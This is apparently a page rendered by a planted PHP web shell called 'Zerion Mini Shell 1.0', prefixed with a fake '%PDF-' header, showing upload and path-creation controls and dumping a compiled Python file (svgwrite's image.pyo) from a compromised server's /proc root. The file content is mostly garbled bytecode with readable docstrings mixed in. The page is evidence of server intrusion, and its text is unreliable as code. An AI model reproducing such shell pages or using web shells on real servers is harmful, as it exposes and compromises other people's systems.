%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/227033/root/opt/alt/python27/lib/python2.7/site-packages/svgwrite/
Upload File :
Create Path :
Current File : //proc/227033/root/opt/alt/python27/lib/python2.7/site-packages/svgwrite/image.pyo

�
oQ+Pc@sRddlmZddlmZmZmZmZdeeefd��YZdS(i����(tBaseElement(t	Transformt_vertt_horiztClippingtImagecBs>eZdZdZddd�Zd�Zdddd�ZRS(	s% The **image** element indicates that the contents of a complete file are
    to be rendered into a given rectangle within the current user coordinate
    system. The **image** element can refer to raster image files such as PNG
    or JPEG or to files with MIME type of "image/svg+xml".

    timagecKsntt|�j|�||d<|rE|d|d<|d|d<n|rj|d|d<|d|d<ndS(	s0
        :param string href: hyperlink to the image resource
        :param 2-tuple insert: insert point (**x**, **y**)
        :param 2-tuple size: (**width**, **height**)
        :param dict attribs: additional SVG attributes
        :param extra: additional SVG attributs as keyword-arguments
        s
xlink:hrefitxitytwidththeightN(tsuperRt__init__(tselfthreftinserttsizetextra((s?/opt/alt/python27/lib/python2.7/site-packages/svgwrite/image.pyRs
cCsd|d<dS(sh Stretch viewBox in x and y direction to fill viewport, does not
        preserve aspect ratio.
        tnonetpreserveAspectRatioN((R
((s?/opt/alt/python27/lib/python2.7/site-packages/svgwrite/image.pytstretch%stcentertmiddletmeetcCsN|jr(|dkr(td|��ndt|t||f|jd<dS(si Set the preserveAspectRatio attribute.

        :param string horiz: horizontal alignment ``'left'|'center'|'right'``
        :param string vert: vertical alignment ``'top'|'middle'|'bottom'``
        :param string scale: scale method ``'meet'|'slice'``

        ============= ===========
        Scale methods Description
        ============= ===========
        ``meet``      preserve aspect ration and zoom to limits of viewBox
        ``slice``     preserve aspect ration and viewBox touch viewport on all bounds, viewBox will extend beyond the bounds of the viewport
        ============= ===========

        RtslicesInvalid scale parameter '%s's%s%s %sRN(Rsslice(tdebugt
ValueErrorRRtattribs(R
thoriztverttscale((s?/opt/alt/python27/lib/python2.7/site-packages/svgwrite/image.pytfit+sN(t__name__t
__module__t__doc__telementnametNoneRRR(((s?/opt/alt/python27/lib/python2.7/site-packages/svgwrite/image.pyRs
	N(t
svgwrite.baseRtsvgwrite.mixinsRRRRR(((s?/opt/alt/python27/lib/python2.7/site-packages/svgwrite/image.pyt<module>s"

Zerion Mini Shell 1.0